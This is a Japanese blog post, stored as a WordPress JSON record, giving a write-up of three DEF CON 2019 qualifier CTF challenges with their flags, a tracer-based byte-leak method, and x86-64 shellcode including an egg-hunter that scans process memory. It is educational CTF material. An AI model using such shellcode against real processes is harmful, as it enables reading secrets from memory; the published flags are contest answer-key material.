{"id":5728,"date":"2019-05-14T03:19:54","date_gmt":"2019-05-13T18:19:54","guid":{"rendered":"http:\/\/mimumimu.net\/blog\/?p=5728"},"modified":"2019-05-14T03:21:45","modified_gmt":"2019-05-13T18:21:45","slug":"def-con-2019-online-quals-write-up","status":"publish","type":"post","link":"https:\/\/mimumimu.net\/blog\/2019\/05\/14\/def-con-2019-online-quals-write-up\/","title":{"rendered":"DEF CON 2019 Online Quals \/ Write-up"},"content":{"rendered":"\n

\u3069\u3046\u3082\u307f\u3080\u3089\u3067\u3059\u3002
\u4e45\u3057\u3076\u308a\u306b wasamusume \u306e CTF \u306e\u6d3b\u52d5\u3092\u518d\u958b\u3057\u305f\u304f\u306a\u308a\u3001\u30ea\u30cf\u30d3\u30ea\u304c\u3066\u3089\u306b\u53c2\u52a0\u3057\u3066\u307f\u307e\u3057\u305f\u3002<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u7d50\u679c\u3068\u3057\u3066\u306f98\u4f4d\u3002
3\u4eba\u3060\u3051\u3067\u3072\u3063\u305d\u308a\u3068\u53c2\u52a0\u3057\u3066\u3044\u305f\u306e\u3067\u3059\u304c\u3001\u7d50\u679c\u3068\u3057\u3066\u306f\u304b\u306a\u308a\u4e0a\u3005\u304b\u3082\u3002<\/p>\n\n\n\n

\u3068\u3044\u3046\u308f\u3051\u3067\u3001\u89e3\u3044\u305f\u554f\u984c\u306b\u3064\u3044\u3066\u306e Write-up \u3067\u3059\u3002<\/p>\n\n\n\n

\n\n\n\n

\u554f\u984c\u306e\u304a\u3057\u306a\u304c\u304d\uff1a
\u30fbwelcome_to_the_game
\u30fbbabytrace
\u30fbknow_your_mem <\/p>\n\n\n\n

\n\n\n\n

welcome_to_the_game<\/h2>\n\n\n\n

FLAG : OOO{Game on!}
\u30d5\u30a1\u30a4\u30eb\u3092\u958b\u304f\u3068\u51fa\u3066\u304f\u308b\u3002<\/p>\n\n\n\n

\n\n\n\n

babytrace<\/h2>\n\n\n\n

FLAG : OOO{memory_objects_get_you_every_time}

claripy \u3068 angr \u3067\u4f5c\u3089\u308c\u305f\u30c8\u30ec\u30fc\u30b5\u3092\u7d4c\u7531\u3057\u3066\u554f\u984c\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u8997\u304f\u554f\u984c\u3002
\u30d7\u30ed\u30b0\u30e9\u30e0\u306f\u7d14\u7c8b\u306b\u4f7f\u3046\u30682\u6587\u5b57\u307e\u3067\u3057\u304b\u8868\u793a\u3055\u308c\u306a\u3044\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n

\"\"
eax \u304c\u6587\u5b57\u4f4d\u7f6e.<\/figcaption><\/figure>\n\n\n\n

\u89e3\u304d\u65b9<\/h3>\n\n\n\n
\"\"<\/figure>\n\n\n\n

0x856 \u306e\u4f4d\u7f6e\u306b “movzx eax,[rbp+eax+buf]” \u3068\u3044\u3046\u51e6\u7406\u304c\u3042\u308a
\u3053\u3053\u3067\u3001\u4efb\u610f\u306e\u4f4d\u7f6e\u306e\u6587\u5b57\u304c “eax” \u306b\u7a4d\u307e\u308c\u307e\u3059\u3002<\/p>\n\n\n\n

\u305d\u306e\u51e6\u7406\u3092\u5229\u7528\u3057\u3066\u3001\u4efb\u610f\u306e\u6587\u5b57\u306e\u4f4d\u7f6e\u3092\u8aad\u3093\u3067\u307f\u307e\u3059\u3002<\/p>\n\n\n\n

\"\"
\u8aad\u307f\u305f\u3044\u4f4d\u7f6e\u3092\u6a19\u6e96\u5165\u529b\u306b\u8a2d\u5b9a\uff08\u3053\u3053\u3067\u306f 0x25 = \u6700\u5f8c\u306e\u6587\u5b57\uff09<\/figcaption><\/figure>\n\n\n\n
\"\"
\u6587\u5b57\u5217\u304c\u4ee3\u5165\u3055\u308c\u308b 0x856 \u3088\u308a\u5148\u306e\u4f4d\u7f6e\u307e\u3067\u9032\u3081\u308b\u3002\uff08\u3053\u3053\u3067\u306f 0x86E \u306e puts \u306e\u4e2d\u3067\u6b62\u307e\u3063\u3066\u3044\u308b\uff09
<\/figcaption><\/figure>\n\n\n\n
\"\"
\u305d\u306e\u72b6\u614b\u3067 eax \u306e\u5024 \uff08\u3053\u3053\u3067\u306f eax_63_32\uff09\u3092\u8aad\u3080\u3068\u3001 0x7d = ‘}’ \u306e\u5024\u304c\u53d6\u5f97\u3067\u304d\u3066\u3044\u308b\u3053\u3068\u304c\u5206\u304b\u308b\u3002<\/figcaption><\/figure>\n\n\n\n

\u3042\u3068\u306f\u4e0a\u8a18\u3092\u7e70\u308a\u8fd4\u3057\u3066\u3001\u6587\u5b57\u5217\u3092\u8aad\u3093\u3067\u3044\u304f\u3068\u30d5\u30e9\u30b0\u304c\u5f97\u3089\u308c\u307e\u3059\u3002<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n
\n\n\n\n

know_your_mem<\/h2>\n\n\n\n

FLAG : OOO{so many bits, so many syscalls}<\/p>\n\n\n\n

\u5b9f\u884c\u3059\u308b\u3068\u4e0b\u8a18\u306e\u3088\u3046\u306b\u3001\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u3092\u5165\u308c\u308b\u3088\u3046\u306b\u6307\u793a\u3055\u308c\u307e\u3059\u3002
\u3053\u3053\u306b\u3001\u6587\u5b57\u5217\u9577\u3068\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u3092\u5165\u529b\u3059\u308b\u3068\u305d\u308c\u304c\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u3067\u5b9f\u73fe\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u3053\u3068\u306f\u3001
\u30d7\u30ed\u30b0\u30e9\u30e0\u306e\u3069\u3053\u304b\u306b\u8aad\u307f\u8fbc\u307e\u308c\u3066\u3044\u308b\u300c\u30d5\u30e9\u30b0\u300d\u306e\u30c7\u30fc\u30bf\u3092\u63a2\u3057\u51fa\u3057\u3066
\u305d\u308c\u3092\u8aad\u307f\u8fbc\u3093\u3067\u8868\u793a\u3059\u308b\u3053\u3068\u3002
\u307e\u305f\u300110\u79d2\u9593\u306e\u30bf\u30a4\u30e0\u30a2\u30a6\u30c8\u5024\u304c\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308b\u305f\u3081\u3001\u305d\u308c\u3092\u8d8a\u3048\u3066\u306e\u63a2\u7d22\u306f\u51fa\u6765\u307e\u305b\u3093\u3002<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u89e3\u304d\u65b9<\/h3>\n\n\n\n

\u65b9\u91dd1\uff08\u57fa\u672c\u7684\u306a\u65b9\u6cd5\uff09<\/h4>\n\n\n\n

64bit \u7a7a\u9593\u306e\u30e1\u30e2\u30ea\u3092\u5168\u90e8\u63a2\u3059\u306e\u306f\u73fe\u5b9f\u7684\u3067\u306f\u306a\u3044\u306e\u3067
\u30b9\u30bf\u30c3\u30af\u4e2d\u304b\u3089\u4f55\u304b\u51fa\u3066\u3044\u306a\u3044\u304b\u63a2\u3057\u307e\u3059\u3002

\u4e0b\u8a18\u306e\u3088\u3046\u306a\u30a2\u30bb\u30f3\u30d6\u30e9\u3092\u66f8\u3044\u3066\u3001\u305d\u308c\u3092\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u3068\u3057\u3066\u4e0e\u3048\u307e\u3059\u3002<\/p>\n\n\n\n

bits 64

section .text
global _start

_start:
   mov rsi,rsp
   mov rdx,70
   mov rdi,1
   mov rax,1
   syscall
   mov rax,0
   ret<\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u3069\u3046\u3084\u3089\u767d\u304f\u5857\u3063\u3066\u3042\u308b\u5834\u6240\u306b\u540c\u3058\u8868\u793a\u304c\u51fa\u3066\u3044\u308b\u306e\u3067\u3053\u308c\u304c\u4f7f\u3048\u305d\u3046\u3002

\u305f\u3060\u5927\u4f1a\u671f\u9593\u4e2d\u306f\u3001\u30e1\u30e2\u30ea\u4f4d\u7f6e\u3092\u8003\u616e\u3059\u308b\u306e\u304c\u9762\u5012\u304f\u3055\u304f\u306a\u3063\u305f\u306e\u3067
\u5225\u306e\u65b9\u6cd5\u3092\u4f7f\u3044\u307e\u3057\u305f\u3002<\/p>\n\n\n\n

<\/p>\n\n\n\n
\u65b9\u91dd2\uff08\u5b9f\u969b\u306b\u8a66\u3057\u305f\u65b9\u6cd5\uff09<\/h4>\n\n\n\n
\"\"<\/figure>\n\n\n\n
“flag” \u306e\u8aad\u307f\u8fbc\u307f\u3092 r15 \u304c\u6307\u3057\u793a\u3059\u30e1\u30e2\u30ea\u30a2\u30c9\u30ec\u30b9\u306b\u8aad\u307f\u8fbc\u3080\u51e6\u7406\u304c\u5165\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n
\"\"
shellcode \u8aad\u3093\u3060\u76f4\u5f8c\u3067\u3082 R15 \u304c flag \u306e\u5165\u3063\u3066\u3044\u308b\u30e1\u30e2\u30ea\u3092\u6307\u3057\u793a\u3057\u7d9a\u3051\u3066\u308b\u3002
\uff08\u4eca\u56de\u306f\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3067\u63d0\u4f9b\u3055\u308c\u305f\u306e\u3067\u3001\u30b3\u30f3\u30d1\u30a4\u30e9\u306b\u3088\u3063\u3066\u306f\u5225\u306e\u30ec\u30b8\u30b9\u30bf\u304c\u4f7f\u308f\u308c\u308b\u5834\u5408\u3082\u3042\u308b\uff09
<\/figcaption><\/figure>\n\n\n\n
\u3068\u3044\u3046\u308f\u3051\u3067\u4e0b\u8a18\u306e\u3088\u3046\u306a\u30a2\u30bb\u30f3\u30d6\u30e9\u3092\u66f8\u3044\u3066\u307f\u307e\u3057\u305f\u3002<\/p>\n\n\n\n
bits 64

section .text
global _start

_start:
   mov rsi,r15
   mov rdx,50
   mov rdi,1
   mov rax,1
   syscall
   mov rax,r15
   ret<\/pre>\n\n\n\n
\u7d50\u679c\u3068\u3057\u3066\u306f\u4e0b\u8a18\u306e\u901a\u308a<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u3068\u3044\u3046\u308f\u3051\u3067 r15 \u30ec\u30b8\u30b9\u30bf\u3092\u53c2\u7167\u3059\u308b\u3060\u3051\u3067\u89e3\u3051\u307e\u3057\u305f\u30fb\u30fb\u3002
\u3046\u30fc\u3093\u3053\u308c\u3067\u826f\u3044\u306e\u3060\u308d\u3046\u304b\u30fb\u30fb\u3002<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u3068\u3053\u308d\u3067
\u30d5\u30e9\u30b0\u304c OOO{so many bits, so many syscalls} \u306a\u306e\u3067
\u4e0b\u8a18\u306e\u3088\u3046\u306a\u30b3\u30fc\u30c9\u3092\u66f8\u304f\u306e\u304c\u6b63\u3057\u3044\u306e\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u306d\u30fb\u30fb\uff1f<\/p>\n\n\n\n
\u4f59\u8ac7\uff08\u30e1\u30e2\u30ea\u5168\u63a2\u7d22\u3002\u9593\u306b\u5408\u308f\u306a\u3044\u3051\u3069\u30fb\u30fb\u3002\uff09<\/h4>\n\n\n\n
\uff08\u305f\u3060\u3057\u901f\u5ea6\u304c\u8ffd\u3044\u3064\u304b\u306a\u3044\u306e\u3067\u6539\u826f\u7b49\u3092\u3059\u308b\u5fc5\u8981\u306f\u5927\u3044\u306b\u3042\u308a\u307e\u3059\uff09<\/p>\n\n\n\n
bits 64

section .text
global _start

_start:
   mov rsi,0x100000000000

_nextpage:
   add rsi,0x1000 ; mmap \u306e\u30a2\u30e9\u30a4\u30e1\u30f3\u30c8.

_nextbyte:
   mov rdx,10
   mov rdi,1
   mov rax,1 ; write \u306f\u4eca\u56de\u306e seccomp \u306e\u8a2d\u5b9a\u3067\u8a31\u53ef\u3055\u308c\u3066\u3044\u305f\u306e\u3067.
   syscall

_faultcheck:
   cmp al,0xf2 ;EFAULT
   jz _nextpage
   mov eax,0x4F4F4F7B ; egg \"OOO{\"
   inc al
   scasd
   jnz _nextbyte
   mov rax,rdi
   ret<\/pre>\n\n\n\n
\u666e\u901a\u306b Egg Hunter \u306e Exploit code \u306e\u3082\u3058\u308a\u3067\u3059\uff08\u82e6\u7b11\uff09<\/p>\n\n\n\n
\n\n\n\n
\u3068\u3044\u3046\u308f\u3051\u3067\u3001
\u4e45\u3057\u3076\u308a\u306b CTF \u3084\u308b\u306e\u3068\u3001\u4e45\u3057\u3076\u308a\u306b\u30a2\u30bb\u30f3\u30d6\u30e9\u8aad\u307f\u66f8\u304d\u3057\u3066\u308b\u306e\u304c\u697d\u3057\u304b\u3063\u305f\u306e\u3067
\u307e\u305f\u6a5f\u4f1a\u304c\u3042\u308c\u3070 CTF \u3084\u308a\u305f\u3044\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002<\/p>\n\n\n\n
\u307e\u305f\u5bb6\u306b\u30e1\u30f3\u30d0\u30fc\u3092\u8aad\u3093\u3067\u3084\u3063\u3066\u305f\u306e\u3067\u3059\u304c\u3001
\u3042\u306e\u30ef\u30a4\u30ef\u30a4\u3057\u305f\u611f\u3058\u3067\u89e3\u304f\u306e\u3082\u9762\u767d\u304b\u3063\u305f\u3057\u3002\u3067\u3042\u3067\u3042\u30fc\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
\u3069\u3046\u3082\u307f\u3080\u3089\u3067\u3059\u3002\u4e45\u3057\u3076\u308a\u306b wasamusume \u306e CTF \u306e\u6d3b\u52d5\u3092\u518d\u958b\u3057\u305f\u304f\u306a\u308a\u3001\u30ea\u30cf\u30d3\u30ea\u304c\u3066\u3089\u306b\u53c2\u52a0\u3057\u3066\u307f\u307e\u3057\u305f\u3002 \u7d50\u679c\u3068\u3057\u3066\u306f98\u4f4d\u30023\u4eba\u3060\u3051\u3067\u3072\u3063\u305d\u308a\u3068\u53c2\u52a0\u3057\u3066\u3044\u305f\u306e\u3067\u3059\u304c\u3001\u7d50\u679c\u3068\u3057\u3066\u306f\u304b\u306a\u308a\u4e0a\u3005\u304b\u3082\u3002 \u3068\u3044 […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-5728","post","type-post","status-publish","format-standard","hentry","category-other"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/mimumimu.net\/blog\/wp-json\/wp\/v2\/posts\/5728","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mimumimu.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mimumimu.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mimumimu.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/mimumimu.net\/blog\/wp-json\/wp\/v2\/comments?post=5728"}],"version-history":[{"count":0,"href":"https:\/\/mimumimu.net\/blog\/wp-json\/wp\/v2\/posts\/5728\/revisions"}],"wp:attachment":[{"href":"https:\/\/mimumimu.net\/blog\/wp-json\/wp\/v2\/media?parent=5728"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mimumimu.net\/blog\/wp-json\/wp\/v2\/categories?post=5728"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mimumimu.net\/blog\/wp-json\/wp\/v2\/tags?post=5728"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}